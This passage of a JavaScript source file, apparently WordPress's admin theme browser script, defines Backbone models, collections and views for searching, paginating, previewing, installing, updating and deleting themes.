1/**
2 * @output wp-admin/js/theme.js
3 */
4
5/* global _wpThemeSettings, confirm, tb_position */
6window.wp = window.wp || {};
7
8( function($) {
9
10// Set up our namespace...
11var themes, l10n;
12themes = wp.themes = wp.themes || {};
13
14// Store the theme data and settings for organized and quick access.
15// themes.data.settings, themes.data.themes, themes.data.l10n.
16themes.data = _wpThemeSettings;
17l10n = themes.data.l10n;
18
19// Shortcut for isInstall check.
20themes.isInstall = !! themes.data.settings.isInstall;
21
22// Setup app structure.
23_.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template });
24
25themes.Model = Backbone.Model.extend({
26 // Adds attributes to the default data coming through the .org themes api.
27 // Map `id` to `slug` for shared code.
28 initialize: function() {
29 var description;
30
31 if ( this.get( 'slug' ) ) {
32 // If the theme is already installed, set an attribute.
33 if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) {
34 this.set({ installed: true });
35 }
36
37 // If the theme is active, set an attribute.
38 if ( themes.data.activeTheme === this.get( 'slug' ) ) {
39 this.set({ active: true });
40 }
41 }
42
43 // Set the attributes.
44 this.set({
45 // `slug` is for installation, `id` is for existing.
46 id: this.get( 'slug' ) || this.get( 'id' )
47 });
48
49 // Map `section.description` to `description`
50 // as the API sometimes returns it differently.
51 if ( this.has( 'sections' ) ) {
52 description = this.get( 'sections' ).description;
53 this.set({ description: description });
54 }
55 }
56});
57
58// Main view controller for themes.php.
59// Unifies and renders all available views.
60themes.view.Appearance = wp.Backbone.View.extend({
61
62 el: '#wpbody-content .wrap .theme-browser',
63
64 window: $( window ),
65 // Pagination instance.
66 page: 0,
67
68 // Sets up a throttler for binding to 'scroll'.
69 initialize: function( options ) {
70 // Scroller checks how far the scroll position is.
71 _.bindAll( this, 'scroller' );
72
73 this.SearchView = options.SearchView ? options.SearchView : themes.view.Search;
74 // Bind to the scroll event and throttle
75 // the results from this.scroller.
76 this.window.on( 'scroll', _.throttle( this.scroller, 300 ) );
77 },
78
79 // Main render control.
80 render: function() {
81 // Setup the main theme view
82 // with the current theme collection.
83 this.view = new themes.view.Themes({
84 collection: this.collection,
85 parent: this
86 });
87
88 // Render search form.
89 this.search();
90
91 this.$el.removeClass( 'search-loading' );
92
93 // Render and append.
94 this.view.render();
95 this.$el.empty().append( this.view.el ).addClass( 'rendered' );
96 },
97
98 // Defines search element container.
99 searchContainer: $( '.search-form' ),
100
101 // Search input and view
102 // for current theme collection.
103 search: function() {
104 var view,
105 self = this;
106
107 // Don't render the search if there is only one theme.
108 if ( themes.data.themes.length === 1 ) {
109 return;
110 }
111
112 view = new this.SearchView({
113 collection: self.collection,
114 parent: this
115 });
116 self.SearchView = view;
117
118 // Render and append after screen title.
119 view.render();
120 this.searchContainer
121 .find( '.search-box' )
122 .append( $.parseHTML( '<label for="wp-filter-search-input">' + l10n.search + '</label>' ) )
123 .append( view.el );
124
125 this.searchContainer.on( 'submit', function( event ) {
126 event.preventDefault();
127 });
128 },
129
130 // Checks when the user gets close to the bottom
131 // of the mage and triggers a theme:scroll event.
132 scroller: function() {
133 var self = this,
134 bottom, threshold;
135
136 bottom = this.window.scrollTop() + self.window.height();
137 threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height();
138 threshold = Math.round( threshold * 0.9 );
139
140 if ( bottom > threshold ) {
141 this.trigger( 'theme:scroll' );
142 }
143 }
144});
145
146// Set up the Collection for our theme data.
147// @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ...
148themes.Collection = Backbone.Collection.extend({
149
150 model: themes.Model,
151
152 // Search terms.
153 terms: '',
154
155 // Controls searching on the current theme collection
156 // and triggers an update event.
157 doSearch: function( value ) {
158
159 // Don't do anything if we've already done this search.
160 // Useful because the Search handler fires multiple times per keystroke.
161 if ( this.terms === value ) {
162 return;
163 }
164
165 // Updates terms with the value passed.
166 this.terms = value;
167
168 // If we have terms, run a search...
169 if ( this.terms.length > 0 ) {
170 this.search( this.terms );
171 }
172
173 // If search is blank, show all themes.
174 // Useful for resetting the views when you clean the input.
175 if ( this.terms === '' ) {
176 this.reset( themes.data.themes );
177 $( 'body' ).removeClass( 'no-results' );
178 }
179
180 // Trigger a 'themes:update' event.
181 this.trigger( 'themes:update' );
182 },
183
184 /**
185 * Performs a search within the collection.
186 *
187 * @uses RegExp
188 */
189 search: function( term ) {
190 var match, results, haystack, name, description, author;
191
192 // Start with a full collection.
193 this.reset( themes.data.themes, { silent: true } );
194
195 // Trim the term.
196 term = term.trim();
197
198 // Escape the term string for RegExp meta characters.
199 term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );
200
201 // Consider spaces as word delimiters and match the whole string
202 // so matching terms can be combined.
203 term = term.replace( / /g, ')(?=.*' );
204 match = new RegExp( '^(?=.*' + term + ').+', 'i' );
205
206 // Find results.
207 // _.filter() and .test().
208 results = this.filter( function( data ) {
209 name = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' );
210 description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' );
211 author = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' );
212
213 haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] );
214
215 if ( match.test( data.get( 'author' ) ) && term.length > 2 ) {
216 data.set( 'displayAuthor', true );
217 }
218
219 return match.test( haystack );
220 });
221
222 if ( results.length === 0 ) {
223 this.trigger( 'query:empty' );
224 } else {
225 $( 'body' ).removeClass( 'no-results' );
226 }
227
228 this.reset( results );
229 },
230
231 // Paginates the collection with a helper method
232 // that slices the collection.
233 paginate: function( instance ) {
234 var collection = this;
235 instance = instance || 0;
236
237 // Themes per instance are set at 20.
238 collection = _( collection.rest( 20 * instance ) );
239 collection = _( collection.first( 20 ) );
240
241 return collection;
242 },
243
244 count: false,
245
246 /*
247 * Handles requests for more themes and caches results.
248 *
249 *
250 * When we are missing a cache object we fire an apiCall()
251 * which triggers events of `query:success` or `query:fail`.
252 */
253 query: function( request ) {
254 /**
255 * @static
256 * @type Array
257 */
258 var queries = this.queries,
259 self = this,
260 query, isPaginated, count;
261
262 // Store current query request args
263 // for later use with the event `theme:end`.
264 this.currentQuery.request = request;
265
266 // Search the query cache for matches.
267 query = _.find( queries, function( query ) {
268 return _.isEqual( query.request, request );
269 });
270
271 // If the request matches the stored currentQuery.request
272 // it means we have a paginated request.
273 isPaginated = _.has( request, 'page' );
274
275 // Reset the internal api page counter for non-paginated queries.
276 if ( ! isPaginated ) {
277 this.currentQuery.page = 1;
278 }
279
280 // Otherwise, send a new API call and add it to the cache.
281 if ( ! query && ! isPaginated ) {
282 query = this.apiCall( request ).done( function( data ) {
283
284 // Update the collection with the queried data.
285 if ( data.themes ) {
286 self.reset( data.themes );
287 count = data.info.results;
288 // Store the results and the query request.
289 queries.push( { themes: data.themes, request: request, total: count } );
290 }
291
292 // Trigger a collection refresh event
293 // and a `query:success` event with a `count` argument.
294 self.trigger( 'themes:update' );
295 self.trigger( 'query:success', count );
296
297 if ( data.themes && data.themes.length === 0 ) {
298 self.trigger( 'query:empty' );
299 }
300
301 }).fail( function() {
302 self.trigger( 'query:fail' );
303 });
304 } else {
305 // If it's a paginated request we need to fetch more themes...
306 if ( isPaginated ) {
307 return this.apiCall( request, isPaginated ).done( function( data ) {
308 // Add the new themes to the current collection.
309 // @todo Update counter.
310 self.add( data.themes );
311 self.trigger( 'query:success' );
312
313 // We are done loading themes for now.
314 self.loadingThemes = false;
315
316 }).fail( function() {
317 self.trigger( 'query:fail' );
318 });
319 }
320
321 if ( query.themes.length === 0 ) {
322 self.trigger( 'query:empty' );
323 } else {
324 $( 'body' ).removeClass( 'no-results' );
325 }
326
327 // Only trigger an update event since we already have the themes
328 // on our cached object.
329 if ( _.isNumber( query.total ) ) {
330 this.count = query.total;
331 }
332
333 this.reset( query.themes );
334 if ( ! query.total ) {
335 this.count = this.length;
336 }
337
338 this.trigger( 'themes:update' );
339 this.trigger( 'query:success', this.count );
340 }
341 },
342
343 // Local cache array for API queries.
344 queries: [],
345
346 // Keep track of current query so we can handle pagination.
347 currentQuery: {
348 page: 1,
349 request: {}
350 },
351
352 // Send request to api.wordpress.org/themes.
353 apiCall: function( request, paginated ) {
354 return wp.ajax.send( 'query-themes', {
355 data: {
356 // Request data.
357 request: _.extend({
358 per_page: 100
359 }, request)
360 },
361
362 beforeSend: function() {
363 if ( ! paginated ) {
364 // Spin it.
365 $( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' );
366 }
367 }
368 });
369 },
370
371 // Static status controller for when we are loading themes.
372 loadingThemes: false
373});
374
375// This is the view that controls each theme item
376// that will be displayed on the screen.
377themes.view.Theme = wp.Backbone.View.extend({
378
379 // Wrap theme data on a div.theme element.
380 className: 'theme',
381
382 // Reflects which theme view we have.
383 // 'grid' (default) or 'detail'.
384 state: 'grid',
385
386 // The HTML template for each element to be rendered.
387 html: themes.template( 'theme' ),
388
389 events: {
390 'click': themes.isInstall ? 'preview': 'expand',
391 'keydown': themes.isInstall ? 'preview': 'expand',
392 'touchend': themes.isInstall ? 'preview': 'expand',
393 'keyup': 'addFocus',
394 'touchmove': 'preventExpand',
395 'click .theme-install': 'installTheme',
396 'click .update-message': 'updateTheme'
397 },
398
399 touchDrag: false,
400
401 initialize: function() {
402 this.model.on( 'change', this.render, this );
403 },
404
405 render: function() {
406 var data = this.model.toJSON();
407
408 // Render themes using the html template.
409 this.$el.html( this.html( data ) ).attr( 'data-slug', data.id );
410
411 // Renders active theme styles.
412 this.activeTheme();
413
414 if ( this.model.get( 'displayAuthor' ) ) {
415 this.$el.addClass( 'display-author' );
416 }
417 },
418
419 // Adds a class to the currently active theme
420 // and to the overlay in detailed view mode.
421 activeTheme: function() {
422 if ( this.model.get( 'active' ) ) {
423 this.$el.addClass( 'active' );
424 }
425 },
426
427 // Add class of focus to the theme we are focused on.
428 addFocus: function() {
429 var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme');
430
431 $('.theme.focus').removeClass('focus');
432 $themeToFocus.addClass('focus');
433 },
434
435 // Single theme overlay screen.
436 // It's shown when clicking a theme.
437 expand: function( event ) {
438 var self = this;
439
440 event = event || window.event;
441
442 // 'Enter' and 'Space' keys expand the details view when a theme is :focused.
443 if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
444 return;
445 }
446
447 // Bail if the user scrolled on a touch device.
448 if ( this.touchDrag === true ) {
449 return this.touchDrag = false;
450 }
451
452 // Prevent the modal from showing when the user clicks
453 // one of the direct action buttons.
454 if ( $( event.target ).is( '.theme-actions a' ) ) {
455 return;
456 }
457
458 // Prevent the modal from showing when the user clicks one of the direct action buttons.
459 if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) {
460 return;
461 }
462
463 // Set focused theme to current element.
464 themes.focusedTheme = this.$el;
465
466 this.trigger( 'theme:expand', self.model.cid );
467 },
468
469 preventExpand: function() {
470 this.touchDrag = true;
471 },
472
473 preview: function( event ) {
474 var self = this,
475 current, preview;
476
477 event = event || window.event;
478
479 // Bail if the user scrolled on a touch device.
480 if ( this.touchDrag === true ) {
481 return this.touchDrag = false;
482 }
483
484 // Allow direct link path to installing a theme.
485 if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) {
486 return;
487 }
488
489 // 'Enter' and 'Space' keys expand the details view when a theme is :focused.
490 if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
491 return;
492 }
493
494 // Pressing Enter while focused on the buttons shouldn't open the preview.
495 if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) {
496 return;
497 }
498
499 event.preventDefault();
500
501 event = event || window.event;
502
503 // Set focus to current theme.
504 themes.focusedTheme = this.$el;
505
506 // Construct a new Preview view.
507 themes.preview = preview = new themes.view.Preview({
508 model: this.model
509 });
510
511 // Render the view and append it.
512 preview.render();
513 this.setNavButtonsState();
514
515 // Hide previous/next navigation if there is only one theme.
516 if ( this.model.collection.length === 1 ) {
517 preview.$el.addClass( 'no-navigation' );
518 } else {
519 preview.$el.removeClass( 'no-navigation' );
520 }
521
522 // Append preview.
523 $( 'div.wrap' ).append( preview.el );
524
525 // Listen to our preview object
526 // for `theme:next` and `theme:previous` events.
527 this.listenTo( preview, 'theme:next', function() {
528
529 // Keep local track of current theme model.
530 current = self.model;
531
532 // If we have ventured away from current model update the current model position.
533 if ( ! _.isUndefined( self.current ) ) {
534 current = self.current;
535 }
536
537 // Get next theme model.
538 self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 );
539
540 // If we have no more themes, bail.
541 if ( _.isUndefined( self.current ) ) {
542 self.options.parent.parent.trigger( 'theme:end' );
543 return self.current = current;
544 }
545
546 preview.model = self.current;
547
548 // Render and append.
549 preview.render();
550 this.setNavButtonsState();
551 $( '.next-theme' ).trigger( 'focus' );
552 })
553 .listenTo( preview, 'theme:previous', function() {
554
555 // Keep track of current theme model.
556 current = self.model;
557
558 // Bail early if we are at the beginning of the collection.
559 if ( self.model.collection.indexOf( self.current ) === 0 ) {
560 return;
561 }
562
563 // If we have ventured away from current model update the current model position.
564 if ( ! _.isUndefined( self.current ) ) {
565 current = self.current;
566 }
567
568 // Get previous theme model.
569 self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 );
570
571 // If we have no more themes, bail.
572 if ( _.isUndefined( self.current ) ) {
573 return;
574 }
575
576 preview.model = self.current;
577
578 // Render and append.
579 preview.render();
580 this.setNavButtonsState();
581 $( '.previous-theme' ).trigger( 'focus' );
582 });
583
584 this.listenTo( preview, 'preview:close', function() {
585 self.current = self.model;
586 });
587
588 },
589
590 // Handles .disabled classes for previous/next buttons in theme installer preview.
591 setNavButtonsState: function() {
592 var $themeInstaller = $( '.theme-install-overlay' ),
593 current = _.isUndefined( this.current ) ? this.model : this.current,
594 previousThemeButton = $themeInstaller.find( '.previous-theme' ),
595 nextThemeButton = $themeInstaller.find( '.next-theme' );
596
597 // Disable previous at the zero position.
598 if ( 0 === this.model.collection.indexOf( current ) ) {
599 previousThemeButton
600 .addClass( 'disabled' )
601 .prop( 'disabled', true );
602
603 nextThemeButton.trigger( 'focus' );
604 }
605
606 // Disable next if the next model is undefined.
607 if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) {
608 nextThemeButton
609 .addClass( 'disabled' )
610 .prop( 'disabled', true );
611
612 previousThemeButton.trigger( 'focus' );
613 }
614 },
615
616 installTheme: function( event ) {
617 var _this = this;
618
619 event.preventDefault();
620
621 wp.updates.maybeRequestFilesystemCredentials( event );
622
623 $( document ).on( 'wp-theme-install-success', function( event, response ) {
624 if ( _this.model.get( 'id' ) === response.slug ) {
625 _this.model.set( { 'installed': true } );
626 }
627 if ( response.blockTheme ) {
628 _this.model.set( { 'block_theme': true } );
629 }
630 } );
631
632 wp.updates.installTheme( {
633 slug: $( event.target ).data( 'slug' )
634 } );
635 },
636
637 updateTheme: function( event ) {
638 var _this = this;
639
640 if ( ! this.model.get( 'hasPackage' ) ) {
641 return;
642 }
643
644 event.preventDefault();
645
646 wp.updates.maybeRequestFilesystemCredentials( event );
647
648 $( document ).on( 'wp-theme-update-success', function( event, response ) {
649 _this.model.off( 'change', _this.render, _this );
650 if ( _this.model.get( 'id' ) === response.slug ) {
651 _this.model.set( {
652 hasUpdate: false,
653 version: response.newVersion
654 } );
655 }
656 _this.model.on( 'change', _this.render, _this );
657 } );
658
659 wp.updates.updateTheme( {
660 slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' )
661 } );
662 }
663});
664
665// Theme Details view.
666// Sets up a modal overlay with the expanded theme data.
667themes.view.Details = wp.Backbone.View.extend({
668
669 // Wrap theme data on a div.theme element.
670 className: 'theme-overlay',
671
672 events: {
673 'click': 'collapse',
674 'click .delete-theme': 'deleteTheme',
675 'click .left': 'previousTheme',
676 'click .right': 'nextTheme',
677 'click #update-theme': 'updateTheme',
678 'click .toggle-auto-update': 'autoupdateState'
679 },
680
681 // The HTML template for the theme overlay.
682 html: themes.template( 'theme-single' ),
683
684 render: function() {
685 var data = this.model.toJSON();
686 this.$el.html( this.html( data ) );
687 // Renders active theme styles.
688 this.activeTheme();
689 // Set up navigation events.
690 this.navigation();
691 // Checks screenshot size.
692 this.screenshotCheck( this.$el );
693 // Contain "tabbing" inside the overlay.
694 this.containFocus( this.$el );
695 },
696
697 // Adds a class to the currently active theme
698 // and to the overlay in detailed view mode.
699 activeTheme: function() {
700 // Check the model has the active property.
701 this.$el.toggleClass( 'active', this.model.get( 'active' ) );
702 },
703
704 // Set initial focus and constrain tabbing within the theme browser modal.
705 containFocus: function( $el ) {
706
707 // Set initial focus on the primary action control.
708 _.delay( function() {
709 $( '.theme-overlay' ).trigger( 'focus' );
710 }, 100 );
711
712 // Constrain tabbing within the modal.
713 $el.on( 'keydown.wp-themes', function( event ) {
714 var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(),
715 $lastFocusable = $el.find( '.theme-actions a:visible' ).last();
716
717 // Check for the Tab key.
718 if ( 9 === event.which ) {
719 if ( $firstFocusable[0] === event.target && event.shiftKey ) {
720 $lastFocusable.trigger( 'focus' );
721 event.preventDefault();
722 } else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) {
723 $firstFocusable.trigger( 'focus' );
724 event.preventDefault();
725 }
726 }
727 });
728 },
729
730 // Single theme overlay screen.
731 // It's shown when clicking a theme.
732 collapse: function( event ) {
733 var self = this,
734 scroll;
735
736 event = event || window.event;
737
738 // Prevent collapsing detailed view when there is only one theme available.
739 if ( themes.data.themes.length === 1 ) {
740 return;
741 }
742
743 // Detect if the click is inside the overlay and don't close it
744 // unless the target was the div.back button.
745 if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) {
746
747 // Add a temporary closing class while overlay fades out.
748 $( 'body' ).addClass( 'closing-overlay' );
749
750 // With a quick fade out animation.
751 this.$el.fadeOut( 130, function() {
752 // Clicking outside the modal box closes the overlay.
753 $( 'body' ).removeClass( 'closing-overlay' );
754 // Handle event cleanup.
755 self.closeOverlay();
756
757 // Get scroll position to avoid jumping to the top.
758 scroll = document.body.scrollTop;
759
760 // Clean the URL structure.
761 themes.router.navigate( themes.router.baseUrl( '' ) );
762
763 // Restore scroll position.
764 document.body.scrollTop = scroll;
765
766 // Return focus to the theme div.
767 if ( themes.focusedTheme ) {
768 themes.focusedTheme.find('.more-details').trigger( 'focus' );
769 }
770 });
771 }
772 },
773
774 // Handles .disabled classes for next/previous buttons.
775 navigation: function() {
776
777 // Disable Left/Right when at the start or end of the collection.
778 if ( this.model.cid === this.model.collection.at(0).cid ) {
779 this.$el.find( '.left' )
780 .addClass( 'disabled' )
781 .prop( 'disabled', true );
782 }
783 if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) {
784 this.$el.find( '.right' )
785 .addClass( 'disabled' )
786 .prop( 'disabled', true );
787 }
788 },
789
790 // Performs the actions to effectively close
791 // the theme details overlay.
792 closeOverlay: function() {
793 $( 'body' ).removeClass( 'modal-open' );
794 this.remove();
795 this.unbind();
796 this.trigger( 'theme:collapse' );
797 },
798
799 // Set state of the auto-update settings link after it has been changed and saved.
800 autoupdateState: function() {
801 var callback,
802 _this = this;
803
804 // Support concurrent clicks in different Theme Details overlays.
805 callback = function( event, data ) {
806 var autoupdate;
807 if ( _this.model.get( 'id' ) === data.asset ) {
808 autoupdate = _this.model.get( 'autoupdate' );
809 autoupdate.enabled = 'enable' === data.state;
810 _this.model.set( { autoupdate: autoupdate } );
811 $( document ).off( 'wp-auto-update-setting-changed', callback );
812 }
813 };
814
815 // Triggered in updates.js
816 $( document ).on( 'wp-auto-update-setting-changed', callback );
817 },
818
819 updateTheme: function( event ) {
820 var _this = this;
821 event.preventDefault();
822
823 wp.updates.maybeRequestFilesystemCredentials( event );
824
825 $( document ).on( 'wp-theme-update-success', function( event, response ) {
826 if ( _this.model.get( 'id' ) === response.slug ) {
827 _this.model.set( {
828 hasUpdate: false,
829 version: response.newVersion
830 } );
831 }
832 _this.render();
833 } );
834
835 wp.updates.updateTheme( {
836 slug: $( event.target ).data( 'slug' )
837 } );
838 },
839
840 deleteTheme: function( event ) {
841 var _this = this,
842 _collection = _this.model.collection,
843 _themes = themes;
844 event.preventDefault();
845
846 // Confirmation dialog for deleting a theme.
847 if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) {
848 return;
849 }
850
851 wp.updates.maybeRequestFilesystemCredentials( event );
852
853 $( document ).one( 'wp-theme-delete-success', function( event, response ) {
854 _this.$el.find( '.close' ).trigger( 'click' );
855 $( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() {
856 $( this ).remove();
857 _themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) );
858
859 $( '.wp-filter-search' ).val( '' );
860 _collection.doSearch( '' );
861 _collection.remove( _this.model );
862 _collection.trigger( 'themes:update' );
863 } );
864 } );
865
866 wp.updates.deleteTheme( {
867 slug: this.model.get( 'id' )
868 } );
869 },
870
871 nextTheme: function() {
872 var self = this;
873 self.trigger( 'theme:next', self.model.cid );
874 return false;
875 },
876
877 previousTheme: function() {
878 var self = this;
879 self.trigger( 'theme:previous', self.model.cid );
880 return false;
881 },
882
883 // Checks if the theme screenshot is the old 300px width version
884 // and adds a corresponding class if it's true.
885 screenshotCheck: function( el ) {
886 var screenshot, image;
887
888 screenshot = el.find( '.screenshot img' );
889 image = new Image();
890 image.src = screenshot.attr( 'src' );
891
892 // Width check.
893 if ( image.width && image.width <= 300 ) {
894 el.addClass( 'small-screenshot' );
895 }
896 }
897});
898
899// Theme Preview view.
900// Sets up a modal overlay with the expanded theme data.
901themes.view.Preview = themes.view.Details.extend({
902
903 className: 'wp-full-overlay expanded',
904 el: '.theme-install-overlay',
905
906 events: {
907 'click .close-full-overlay': 'close',
908 'click .collapse-sidebar': 'collapse',
909 'click .devices button': 'previewDevice',
910 'click .previous-theme': 'previousTheme',
911 'click .next-theme': 'nextTheme',
912 'keyup': 'keyEvent',
913 'click .theme-install': 'installTheme'
914 },
915
916 // The HTML template for the theme preview.
917 html: themes.template( 'theme-preview' ),
918
919 render: function() {
920 var self = this,
921 currentPreviewDevice,
922 data = this.model.toJSON(),
923 $body = $( document.body );
924
925 $body.attr( 'aria-busy', 'true' );
926
927 this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) );
928
929 currentPreviewDevice = this.$el.data( 'current-preview-device' );
930 if ( currentPreviewDevice ) {
931 self.togglePreviewDeviceButtons( currentPreviewDevice );
932 }
933
934 themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } );
935
936 this.$el.fadeIn( 200, function() {
937 $body.addClass( 'theme-installer-active full-overlay-active' );
938 });
939
940 this.$el.find( 'iframe' ).one( 'load', function() {
941 self.iframeLoaded();
942 });
943 },
944
945 iframeLoaded: function() {
946 this.$el.addClass( 'iframe-ready' );
947 $( document.body ).attr( 'aria-busy', 'false' );
948 },
949
950 close: function() {
951 this.$el.fadeOut( 200, function() {
952 $( 'body' ).removeClass( 'theme-installer-active full-overlay-active' );
953
954 // Return focus to the theme div.
955 if ( themes.focusedTheme ) {
956 themes.focusedTheme.find('.more-details').trigger( 'focus' );
957 }
958 }).removeClass( 'iframe-ready' );
959
960 // Restore the previous browse tab if available.
961 if ( themes.router.selectedTab ) {
962 themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) );
963 themes.router.selectedTab = false;
964 } else {
965 themes.router.navigate( themes.router.baseUrl( '' ) );
966 }
967 this.trigger( 'preview:close' );
968 this.undelegateEvents();
969 this.unbind();
970 return false;
971 },
972
973 collapse: function( event ) {
974 var $button = $( event.currentTarget );
975 if ( 'true' === $button.attr( 'aria-expanded' ) ) {
976 $button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar });
977 } else {
978 $button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar });
979 }
980
981 this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' );
982 return false;
983 },
984
985 previewDevice: function( event ) {
986 var device = $( event.currentTarget ).data( 'device' );
987
988 this.$el
989 .removeClass( 'preview-desktop preview-tablet preview-mobile' )
990 .addClass( 'preview-' + device )
991 .data( 'current-preview-device', device );
992
993 this.togglePreviewDeviceButtons( device );
994 },
995
996 togglePreviewDeviceButtons: function( newDevice ) {
997 var $devices = $( '.wp-full-overlay-footer .devices' );
998
999 $devices.find( 'button' )
1000 .removeClass( 'active' )
1001 .attr( 'aria-pressed', false );
1002
1003 $devices.find( 'button.preview-' + newDevice )
1004 .addClass( 'active' )
1005 .attr( 'aria-pressed', true );
1006 },
1007
1008 keyEvent: function( event ) {
1009 // The escape key closes the preview.
1010 if ( event.keyCode === 27 ) {
1011 this.undelegateEvents();
1012 this.close();
1013 }
1014
1015 // Return if Ctrl + Shift or Shift key pressed
1016 if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
1017 return;
1018 }
1019
1020 // The right arrow key, next theme.
1021 if ( event.keyCode === 39 ) {
1022 _.once( this.nextTheme() );
1023 }
1024
1025 // The left arrow key, previous theme.
1026 if ( event.keyCode === 37 ) {
1027 this.previousTheme();
1028 }
1029 },
1030
1031 installTheme: function( event ) {
1032 var _this = this,
1033 $target = $( event.target );
1034 event.preventDefault();
1035
1036 if ( $target.hasClass( 'disabled' ) ) {
1037 return;
1038 }
1039
1040 wp.updates.maybeRequestFilesystemCredentials( event );
1041
1042 $( document ).on( 'wp-theme-install-success', function() {
1043 _this.model.set( { 'installed': true } );
1044 } );
1045
1046 wp.updates.installTheme( {
1047 slug: $target.data( 'slug' )
1048 } );
1049 }
1050});
1051
1052// Controls the rendering of div.themes,
1053// a wrapper that will hold all the theme elements.
1054themes.view.Themes = wp.Backbone.View.extend({
1055
1056 className: 'themes wp-clearfix',
1057 $overlay: $( 'div.theme-overlay' ),
1058
1059 // Number to keep track of scroll position
1060 // while in theme-overlay mode.
1061 index: 0,
1062
1063 // The theme count element.
1064 count: $( '.wrap .theme-count' ),
1065
1066 // The live themes count.
1067 liveThemeCount: 0,
1068
1069 initialize: function( options ) {
1070 var self = this;
1071
1072 // Set up parent.
1073 this.parent = options.parent;
1074
1075 // Set current view to [grid].
1076 this.setView( 'grid' );
1077
1078 // Move the active theme to the beginning of the collection.
1079 self.currentTheme();
1080
1081 // When the collection is updated by user input...
1082 this.listenTo( self.collection, 'themes:update', function() {
1083 self.parent.page = 0;
1084 self.currentTheme();
1085 self.render( this );
1086 } );
1087
1088 // Update theme count to full result set when available.
1089 this.listenTo( self.collection, 'query:success', function( count ) {
1090 if ( _.isNumber( count ) ) {
1091 self.count.text( count );
1092 self.announceSearchResults( count );
1093 } else {
1094 self.count.text( self.collection.length );
1095 self.announceSearchResults( self.collection.length );
1096 }
1097 });
1098
1099 this.listenTo( self.collection, 'query:empty', function() {
1100 $( 'body' ).addClass( 'no-results' );
1101 });
1102
1103 this.listenTo( this.parent, 'theme:scroll', function() {
1104 self.renderThemes( self.parent.page );
1105 });
1106
1107 this.listenTo( this.parent, 'theme:close', function() {
1108 if ( self.overlay ) {
1109 self.overlay.closeOverlay();
1110 }
1111 } );
1112
1113 // Bind keyboard events.
1114 $( 'body' ).on( 'keyup', function( event ) {
1115 if ( ! self.overlay ) {
1116 return;
1117 }
1118
1119 // Bail if the filesystem credentials dialog is shown.
1120 if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) {
1121 return;
1122 }
1123
1124 // Return if Ctrl + Shift or Shift key pressed
1125 if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
1126 return;
1127 }
1128
1129 // Pressing the right arrow key fires a theme:next event.
1130 if ( event.keyCode === 39 ) {
1131 self.overlay.nextTheme();
1132 }
1133
1134 // Pressing the left arrow key fires a theme:previous event.
1135 if ( event.keyCode === 37 ) {
1136 self.overlay.previousTheme();
1137 }
1138
1139 // Pressing the escape key fires a theme:collapse event.
1140 if ( event.keyCode === 27 ) {
1141 self.overlay.collapse( event );
1142 }
1143 });
1144 },
1145
1146 // Manages rendering of theme pages
1147 // and keeping theme count in sync.
1148 render: function() {
1149 // Clear the DOM, please.
1150 this.$el.empty();
1151
1152 // If the user doesn't have switch capabilities or there is only one theme
1153 // in the collection, render the detailed view of the active theme.
1154 if ( themes.data.themes.length === 1 ) {
1155
1156 // Constructs the view.
1157 this.singleTheme = new themes.view.Details({
1158 model: this.collection.models[0]
1159 });
1160
1161 // Render and apply a 'single-theme' class to our container.
1162 this.singleTheme.render();
1163 this.$el.addClass( 'single-theme' );
1164 this.$el.append( this.singleTheme.el );
1165 }
1166
1167 // Generate the themes using page instance
1168 // while checking the collection has items.
1169 if ( this.options.collection.size() > 0 ) {
1170 this.renderThemes( this.parent.page );
1171 }
1172
1173 // Display a live theme count for the collection.
1174 this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length;
1175 this.count.text( this.liveThemeCount );
1176
1177 /*
1178 * In the theme installer the themes count is already announced
1179 * because `announceSearchResults` is called on `query:success`.
1180 */
1181 if ( ! themes.isInstall ) {
1182 this.announceSearchResults( this.liveThemeCount );
1183 }
1184 },
1185
1186 // Iterates through each instance of the collection
1187 // and renders each theme module.
1188 renderThemes: function( page ) {
1189 var self = this;
1190
1191 self.instance = self.collection.paginate( page );
1192
1193 // If we have no more themes, bail.
1194 if ( self.instance.size() === 0 ) {
1195 // Fire a no-more-themes event.
1196 this.parent.trigger( 'theme:end' );
1197 return;
1198 }
1199
